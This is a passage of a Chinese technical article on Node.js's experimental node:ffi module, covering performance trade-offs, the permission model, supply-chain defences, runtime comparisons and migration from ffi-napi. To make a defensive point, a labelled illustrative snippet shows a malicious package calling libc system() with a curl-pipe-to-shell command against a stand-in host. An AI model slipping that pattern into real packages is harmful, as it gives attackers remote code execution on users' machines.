// ❌ 灾难性设计:每个像素调一次
for (const px of pixels) ffi.transform_pixel(px);

// ✅ 正确设计:整个缓冲区一次调用
ffi.transform_buffer(pixelBuffer, pixelBuffer.length);

场景 B(64KB XOR):FFI 开始赢,但赢的幅度可能没你想的大。

因为 jsScramble 里的 buf[i] ^= key 在 TypedArray 上是 V8 高度优化的路径,甚至可能被自动向量化。而 C 侧的 -O2 编译结果也差不多。这时 FFI 的收益主要来自:C 编译器更激进的向量化、以及避开了 JS 的边界检查。

真正压倒性的胜利出现在第三种场景:C 侧有 JS 完全做不到的东西。

  • 手写 AVX-512 / NEON intrinsics;
  • 成熟的算法库(BLAS、FFTW、libjpeg-turbo、zstd);
  • 硬件加速(GPU、加密协处理器、DMA);
  • 系统调用(io_uringmmapioctl)。

这些场景下不是"快多少倍"的问题,是"能不能做"的问题。

6.3 一个成本模型,帮你做决策

把 FFI 的收益抽象成一个公式:

收益 = N × (T_js - T_c) - N × T_boundary

其中:
  N          = 调用次数
  T_js       = JS 实现单次耗时
  T_c        = C 实现单次耗时
  T_boundary = 单次跨边界开销(几十 ns 量级,数值参数)

要收益为正,需要:

T_js - T_c > T_boundary

**结论:单次调用做的实际工作量必须显著大于跨边界开销。**几十纳秒是个门槛——单次调用如果只干几纳秒的活,FFI 永远是负收益。

所以设计 FFI 接口的第一原则是:**尽可能提高单次调用的粒度。**批处理、整缓冲区处理、把循环下沉到 C 侧。

6.4 别忘了同步阻塞这笔账

还有一笔隐性成本:FFI 调用是同步的,会阻塞 event loop。

一个跑 50ms 的 C 函数,在 QPS 100 的服务里会让 p99 延迟直接崩盘——因为它期间无法处理任何其他请求。

对策:

// 对耗时 FFI 调用,扔到 worker_threads
// worker.mjs
import { parentPort } from 'node:worker_threads';
import { heavyFfiCall } from './safe-demo.mjs';

parentPort.on('message', ({ id, payload }) => {
  try {
    const result = heavyFfiCall(payload);
    parentPort.postMessage({ id, result });
  } catch (err) {
    parentPort.postMessage({ id, error: err.message });
  }
});

配合 SharedArrayBuffer 可以避免 worker 间的数据拷贝:

// 主线程分配 SAB,worker 直接对它做 FFI 操作,零拷贝
const sab = new SharedArrayBuffer(1 << 20);
const view = new Uint8Array(sab);
worker.postMessage({ sab });   // 只传引用

判断标准:单次 FFI 调用超过 1ms,就该考虑 worker。超过 10ms,必须用 worker。


七、安全模型:为什么必须要两道开关

node:ffi 的文档反复用一个词:inherently unsafe(本质上不安全)。这不是免责声明模板,是精确的技术描述。

7.1 三类必然存在的崩溃

第一类:野指针 → 段错误。

// demo_deref 会解引用传入的指针
ffi.demo_deref(0);           // 解引用 NULL → SIGSEGV,进程立即死
ffi.demo_deref(0xdeadbeef);  // 解引用非法地址 → SIGSEGV

注意:**这不是 JS 异常,抓不住。**没有 try/catch 能救你,进程直接被内核干掉。所有 process.on('uncaughtException')、优雅关闭、正在处理的请求,全部消失。

第二类:签名错误 → 静默的垃圾数据。

// C 侧是 double demo_hypot(double, double)
// 但声明成了 int
const bad = defineFFI({
  demo_hypot: { result: 'int32', args: ['int32', 'int32'], library: LIB },
});
console.log(bad.demo_hypot(3, 4));   // 某个毫无意义的整数,不报错

这比崩溃更危险。崩溃至少你知道出事了;静默的错误数据会一路流进数据库。

第三类:use-after-free。

// 假设某个 C 库这样设计(现实中真有)
const handle = ffi.lib_create();
ffi.lib_destroy(handle);
ffi.lib_use(handle);   // 用已释放的句柄 → 未定义行为
                       // 可能崩,可能读到别人的数据,可能被利用

C 侧释放的内存,JS 侧还持有指针——这是 CVE 编号的常见来源。

7.2 两道开关的设计意图

正因如此,node:ffi 设计了两道闸:

# 第一道:运行时能力开关
node --experimental-ffi app.mjs

# 第二道:如果启用了 Permission Model,还需要显式授权
node --experimental-ffi --allow-ffi app.mjs

这个设计很值得琢磨。Node.js 的 Permission Model(--experimental-permission 系列)本质是给 Node 加了一层能力沙箱:--allow-fs-read--allow-child-process--allow-worker 等。把 FFI 纳入其中,意味着核心团队把 FFI 视作child_process 同级的高危能力

这个判断是对的。想一下:

  • --allow-fs-read 限制了读文件——但 FFI 可以直接调 libcopen/read 绕过;
  • --allow-child-process 限制了起子进程——但 FFI 可以直接调 fork/execve
  • 甚至 FFI 可以 mmap 一段可执行内存,写入 shellcode 并跳转。

换句话说:一旦给了 FFI 权限,所有其他权限限制在理论上都可以被绕过。 FFI 是权限模型的"逃逸出口"。所以它必须是一个独立且默认关闭的开关。

7.3 供应链视角:这才是真正的风险

上面说的都是"你自己写错代码"。真正让我睡不着的是另一个场景:

恶意 npm 包 + FFI = 完整的本机代码执行。

在没有 FFI 之前,一个纯 JS 的恶意包能做的事有限(当然也不少:偷环境变量、发网络请求)。但要做真正深的事——注入其他进程、hook 系统调用、驻留持久化——需要原生插件,而原生插件需要编译,编译会在 npm install 时留下明显痕迹。

有了 FFI,一个纯 JS 包(无编译、无 binding.gyp、npm 页面上看起来干干净净)就能:

// 一个恶意包可能干的事(示意,不要运行)
import { defineFFI } from 'node:ffi';
const libc = defineFFI({
  system: { result: 'int32', args: ['pointer'], library: 'libc.so.6' },
});
libc.system(Buffer.from('curl evil.sh | sh\0'));

结合 2026 年那几起 npm 供应链攻击(比如 TanStack 相关的事件),这个风险面必须被认真对待。

生产环境的防御清单:

  1. 默认不开 --experimental-ffi 让它成为一个需要显式论证的决定,而不是默认配置。写进你的 Dockerfile review checklist。
  2. 一定要开的话,配合 Permission Model 收紧其他能力。 至少要有 --allow-fs-read 的白名单。
  3. 审计依赖树里所有 node:ffi 的引用。
    # 扫描 node_modules 里所有引用 node:ffi 的地方
    grep -rn "node:ffi" node_modules/ --include="*.js" --include="*.mjs" --include="*.cjs"
    
    把这条命令做成 CI 的一个 gate。出现任何非预期的引用就 fail。
  4. 考虑用 --frozen-intrinsics 和 loader 钩子屏蔽 node:ffi 的导入。 如果你的应用自己不用 FFI,但运行在开了 flag 的镜像里,可以在启动时拦掉这个模块。
  5. 把用 FFI 的服务单独部署在收紧的容器里。 seccomp profile、只读根文件系统、非 root 用户、--cap-drop=ALL。假设 FFI 那层会被攻破,然后限制爆炸半径。
  6. 进程级隔离而非线程级。 用独立进程跑 FFI 逻辑,通过 IPC 通信。它崩了只影响自己,主进程可以重启它。这是稳定性和安全性的双赢,代价是 IPC 开销。
// 生产模式:FFI 跑在独立子进程,主进程只做 IPC
import { fork } from 'node:child_process';

class FfiWorkerPool {
  #workers = [];
  #next = 0;

  constructor(size = 2) {
    for (let i = 0; i < size; i++) this.#spawn(i);
  }

  #spawn(idx) {
    const w = fork('./ffi-worker.mjs', [], {
      execArgv: ['--experimental-ffi'],   // flag 只在子进程生效
    });
    // 崩了自动重启 —— FFI 崩溃变成可恢复事件
    w.on('exit', (code, signal) => {
      console.error(`ffi worker ${idx} died (code=${code}, signal=${signal}), restarting`);
      this.#spawn(idx);
    });
    this.#workers[idx] = w;
  }

  call(payload) {
    const w = this.#workers[this.#next++ % this.#workers.length];
    return new Promise((resolve, reject) => {
      const id = Math.random().toString(36).slice(2);
      const onMsg = (m) => {
        if (m.id !== id) return;
        w.off('message', onMsg);
        m.error ? reject(new Error(m.error)) : resolve(m.result);
      };
      w.on('message', onMsg);
      w.send({ id, payload });
    });
  }
}

这个模式的关键价值:**把"进程崩溃"这个不可恢复事件,降级成"一次请求失败 + 自动重启"。**主进程的 --experimental-ffi 甚至不需要开,flag 只加在 execArgv 里。


八、横向对比:其他运行时怎么做的

node:ffi 不是孤立创新,把它放在生态里看更清楚。

运行时方案特点相对成熟度
Node.js 26.1node:ffilibffi 后端,声明式签名,Shared Buffer 快速路径,纳入 Permission Model实验阶段
Bunbun:ffi自研 JIT trampoline(不走 libffi),为每个签名生成专用调用代码已可用,性能领先
DenoDeno.dlopen与 V8 Fast API Calls 深度集成,纳入 --allow-ffi 权限体系稳定
Pythonctypes / cffictypes 标准库、纯运行时;cffi 可解析 C 声明、有 API 模式(编译期)极成熟(20+ 年)
LuaJIT内置 FFI能直接吃 C 声明字符串,JIT 把 FFI 调用内联进 trace,开销接近零业界标杆
JavaProject Panama(FFM API)JDK 22 正式转正,MethodHandle + MemorySegment,jextract 从头文件生成绑定已 GA
.NETP/InvokeDllImport 特性,编译期生成 marshalling stub极成熟

几个值得学习的点:

Bun 的 JIT trampoline 思路。 Bun 不用 libffi 的通用 ffi_call,而是针对每个具体签名在运行时生成一小段专用机器码。这样就完全避开了"参数打包成 void*[]"这个中间步骤——参数直接从 JSValue 拆箱后写进正确的寄存器。这是性能上限更高的路线,代价是每个平台都要自己写代码生成器。node:ffi 的 Shared Buffer 快速路径可以看作在 libffi 框架内尽力逼近这个效果。

LuaJIT 的 FFI 是天花板。 它能把 FFI 调用完全内联进 JIT trace,配合类型推导,一次 FFI 调用的开销可以低到几个 CPU 周期。核心原因是 LuaJIT 的 FFI 和 JIT 编译器是一体设计的。V8 侧的对应物是 Fast API Callsv8::FastApiCallFunction),Deno 用得比较深。node:ffi 未来如果要在性能上再跨一级,接 Fast API Calls 是最可能的路径。

Panama 的 jextract 值得抄。 Java 提供了 jextract 工具,直接读 C 头文件生成 Java 绑定代码——包括结构体布局、常量、函数签名。这彻底消灭了"手抄签名"这个错误源。Node 生态如果出现一个 node-ffi-gen(基于 libclang 解析头文件生成 TypeScript 签名 + 布局常量),会是巨大的体验提升。这个工具在我看来是 node:ffi 走向生产的必要配套。

cffi 的 API 模式提醒我们:FFI 不必完全放弃编译期检查。 Python 的 cffi 有两种模式:ABI 模式(纯运行时,像 ctypes)和 API 模式(生成并编译一小段 C 胶水代码)。API 模式性能更好、类型更安全,代价是需要编译器。这是个很聪明的中间态——如果你的部署环境有编译器,就用更安全的模式。


九、生产决策框架:什么时候用 FFI,什么时候用 N-API

node:ffi 不是 N-API 的替代品。文档里说得很直接:FFI 的定位是"快速黏合"。我把它整理成一张决策表:

判断维度倾向 FFI倾向 N-API
调用频率低频(< 10k/s)高频(> 100k/s)
单次调用工作量大(> 100μs)任意
是否需要回调不需要需要(尤其跨线程)
数据结构复杂度简单(数值、缓冲区)复杂(嵌套结构体、对象图)
是否有库源码没有(闭源 .so
是否要发布 npm 包慎重(需要用户开 flag)
团队 C++ 能力无要求需要
迭代速度要求高(原型、探索)一般
是否需要 CI 编译不需要需要(或预编译)
生命周期短期 / 中期长期基础设施

具体场景的推荐:

适合 FFI:

  • 对接只有 C API 的老旧硬件驱动(工业相机、PLC、读卡器、加密狗)
  • 原型阶段快速验证原生算法可行性——先用 FFI 跑通,性能达标再考虑要不要转 N-API
  • 调系统级 API(ioctl、Win32、io_uringmmap
  • 临时集成只提供二进制的闭源库
  • 内部工具、运维脚本、CLI(这些场景开 flag 完全没成本)
  • 一次性数据处理任务(调 libjpeg-turbo 批量转码之类)

不适合 FFI:

  • 要发布给别人用的 npm 包(要求用户加 flag 是巨大的采用障碍)
  • 高频细粒度调用(每次调用只做几微秒的活)
  • 需要 C 侧主动回调 JS 的事件驱动库
  • 需要在 C 侧长期持有 JS 对象的场景
  • 对进程稳定性有硬要求且无法做进程隔离的服务
  • 复杂结构体密集交互(手动编组的维护成本会失控)

一条实用的演进路径:

阶段 1:用 FFI 快速验证(1 天)
   ↓ 确认技术方案可行、性能有收益
阶段 2:用 FFI + 独立进程上生产(1 周)
   ↓ 跑一段时间,收集真实的调用频率和延迟数据
阶段 3:如果 FFI 开销成为瓶颈,或需要回调,转 N-API(2-4 周)

关键是:阶段 1 和 2 的成本极低,让你能在投入大量 C++ 工程之前就拿到真实数据。这才是 FFI 在工程上最大的价值——它不是性能工具,是降低探索成本的工具


十、从 ffi-napi 迁移

如果你有存量的 ffi-napi 代码,映射关系大致如下:

// ===== 旧:ffi-napi =====
const ffi = require('ffi-napi');
const ref = require('ref-napi');

const lib = ffi.Library('./libdemo', {
  demo_add:   ['int', ['int', 'int']],
  demo_hypot: ['double', ['double', 'double']],
});
console.log(lib.demo_add(3, 4));


// ===== 新:node:ffi =====
import { defineFFI } from 'node:ffi';

const lib = defineFFI({
  demo_add:   { result: 'int32',  args: ['int32', 'int32'],   library: './libdemo.so' },
  demo_hypot: { result: 'double', args: ['double', 'double'], library: './libdemo.so' },
});
console.log(lib.demo_add(3, 4));

主要差异与注意事项:

方面ffi-napinode:ffi
签名格式数组 [ret, [args]]对象 {result, args, library}
类型名'int', 'double'更明确的宽度:'int32', 'double'
库名解析自动补后缀建议显式指定完整文件名
结构体ref-struct手动 DataView 编组
数组ref-array直接用 TypedArray
回调ffi.Callback见 5.5 节,尽量避免
异步调用.async() 方法自己包 worker_threads
运行时开关必须 --experimental-ffi
依赖4-5 个 npm 包 + 编译零依赖

迁移的三个陷阱:

  1. 类型宽度必须显式化。 ffi-napi'int' 在不同平台上是 32 位还是 64 位有历史包袱。迁移时把所有整数类型改成明确宽度(int32/int64/uint32...),并逐个用测试验证
  2. ref-struct 的自动布局要手动重建。 这是迁移的主要工作量。用 5.6 节的 C 探针法生成布局常量,别手推。
  3. .async() 没有直接对应物。 所有依赖异步 FFI 的代码需要重构成 worker_threads 模式。这可能是迁移中最大的一块工作。

迁移策略建议: 写一个薄适配层,让两套实现共存一段时间。

// adapter.mjs
const USE_NATIVE_FFI = process.execArgv.includes('--experimental-ffi');

export const lib = USE_NATIVE_FFI
  ? await import('./impl-node-ffi.mjs').then(m => m.lib)
  : await import('./impl-ffi-napi.mjs').then(m => m.lib);

然后用同一套测试跑两个实现,确认行为一致后再删掉老的。这套测试的存在是迁移能不能安全完成的决定性因素。


十一、局限与踩坑清单

按踩到的概率从高到低排:

  1. 签名类型写错不报错,只出垃圾数据。 → 每个符号配一条已知输入输出的断言测试。
  2. 结构体对齐算错,读到相邻字段。 → 用 C 探针生成布局常量。
  3. size_t* 输出参数分配了 4 字节而不是 8。 → 所有指针大小的类型统一按 8 字节处理,并用 Buffer.alloc(零填充)。
  4. C++ 库符号被 mangle,dlsym 找不到。 → 必须有 extern "C" 包装层。
  5. Windows 缺少间接依赖 DLL,error 126 不说缺谁。dumpbin /dependents 或 Dependencies 工具。
  6. Alpine 容器里 glibc 编译的 .so 加载失败。 → musl 和 glibc 不兼容,需要为目标 libc 单独编译。
  7. macOS SIP 清掉 DYLD_LIBRARY_PATH → 用绝对路径,或 install_name_tool 修 rpath。
  8. Buffer.allocUnsafe 的脏数据被当成有效内容。 → 输出长度必须由 C 侧显式回传。
  9. subarraybyteOffset 被忽略。 → 热路径只传完整 Buffer。
  10. 同步 FFI 调用阻塞 event loop,p99 崩盘。 → 超过 1ms 就上 worker。
  11. dlopen 句柄泄漏,最后 "too many open files"。 → 用 using + Symbol.dispose
  12. C 侧 malloc 的返回值忘了 free。try/finally,无例外。
  13. 回调在 C 库的线程里触发,直接崩。 → 改用轮询模式。
  14. varargs 函数(printf 类)行为诡异。 → 不要用,找非 varargs 的替代 API。
  15. 实验 API 在小版本间变化。 → 把 FFI 调用收敛在一个模块里,锁死 Node 版本,升级时全量跑测试。

**最后一条值得单独强调:node:ffi 现在是实验状态。**这意味着 API 可能在 Node 的小版本之间变化。生产使用的前提是:

  • 锁死 Node 版本(engines 字段 + Docker 镜像 digest 固定);
  • 所有 FFI 调用收敛在一个模块(换 API 时只改一处);
  • 有完整的符号级测试(升级时能立刻发现破坏)。

十二、这件事的意义:Node.js 补上了最后一块拼图

跳出 FFI 本身,看 v26.1.0 这个版本的整体信号,很有意思。

除了 FFI,这个版本还带来了:Web Crypto 对 ML-KEM(FIPS 203)和 SLH-DSA(FIPS 205) 的 JWK 支持(后量子密码学不再需要装第三方包);node inspectProbeInspectorSession(运行时注入表达式求值,不改代码就能探查状态);node:test--test-randomize 和 mock timers 覆盖 AbortSignal.timeoutnode:sqliteserialize()/deserialize();以及 perfetto 追踪框架的集成(Google 那套被 Android/Chrome 用烂了的性能追踪基础设施)。

这些放在一起,指向同一个方向:Node.js 正在把过去必须"第三方补课"的能力一个个内化。

  • 测试要装 Jest/Mocha → node:test 够用了
  • 类型要装 ts-node/tsx → 原生 TypeScript 支持
  • 数据库要装 better-sqlite3 → node:sqlite
  • HTTP 客户端要装 axios → 内置 fetch + undici
  • 原生调用要写 C++ 插件 → node:ffi
  • 性能分析要装一堆工具 → perfetto 管道在铺

对 FFI 这一块,我的判断是:它不会改变 Node.js 的主流用法,但会显著扩大 Node.js 的可达边界。

具体说,有一类项目过去根本不会考虑 Node.js:工业控制、硬件对接、需要调用专有算法库的场景。这些场景里,"必须写 C++ 插件"这个门槛足够高,以至于团队直接选 Python(有 ctypes)或 C#(有 P/Invoke)。现在这个门槛没了。

但也要清楚它的边界。FFI 的本质是用运行期的风险换开发期的速度。你放弃的是编译期的类型检查、ABI 校验、符号存在性检查——这些恰恰是原生插件路线最有价值的部分。所以我给出的原则是:

FFI 是探针,不是地基。

用它快速摸清一个原生方案是否可行、性能是否达标。摸清之后,如果这个能力要成为长期基础设施,认真写 N-API 插件;如果只是边缘的、低频的黏合,FFI 就是最合适的答案。

至于未来,最值得期待的两件事:

  1. node:ffi 什么时候接上 V8 Fast API Calls。 这是性能再跨一级的路径,能把跨边界开销从几十纳秒压到个位数纳秒,让 FFI 在更细粒度的调用上也变得可用。
  2. 有没有人做出 jextract 的 Node 版本。 一个基于 libclang 解析 C 头文件、自动生成 TypeScript 签名和结构体布局常量的工具,能一举消灭 FFI 最大的错误源。这个工具的价值,可能比 FFI 本身还大。

在这两件事发生之前,node:ffi 是一把好用但需要小心的刀。用它之前,把这篇文章里的防御清单打印出来贴在显示器上。


附:快速上手清单

# 1. 确认版本
node -v   # 需要 >= 26.1.0

# 2. 编译一个测试库
gcc -O2 -shared -fPIC -o libdemo.so libdemo.c

# 3. 跑起来
node --experimental-ffi app.mjs

# 4. 如果开了 Permission Model
node --experimental-ffi --allow-ffi app.mjs

# 5. 审计依赖树里的 FFI 使用(建议加进 CI)
grep -rn "node:ffi" node_modules/ --include="*.js" --include="*.mjs" --include="*.cjs"

# 6. 一键开所有实验特性(仅本地调试用,别进生产)
node --enable-all-experimentals app.mjs

五条铁律,记住这些就够了:

  1. 热路径上只传数值和指针,别传 string 和结构体(走不了快速路径)
  2. 提高单次调用的粒度,把循环下沉到 C 侧(跨边界开销是几十纳秒的固定成本)
  3. 每个符号配一条断言测试(签名错误不报错,只出垃圾数据)
  4. 布局常量和系统常量用 C 探针生成,永远不要手抄
  5. 生产环境把 FFI 跑在独立子进程里(把不可恢复的崩溃降级成可重启的失败)

推荐文章

程序员茄子在线接单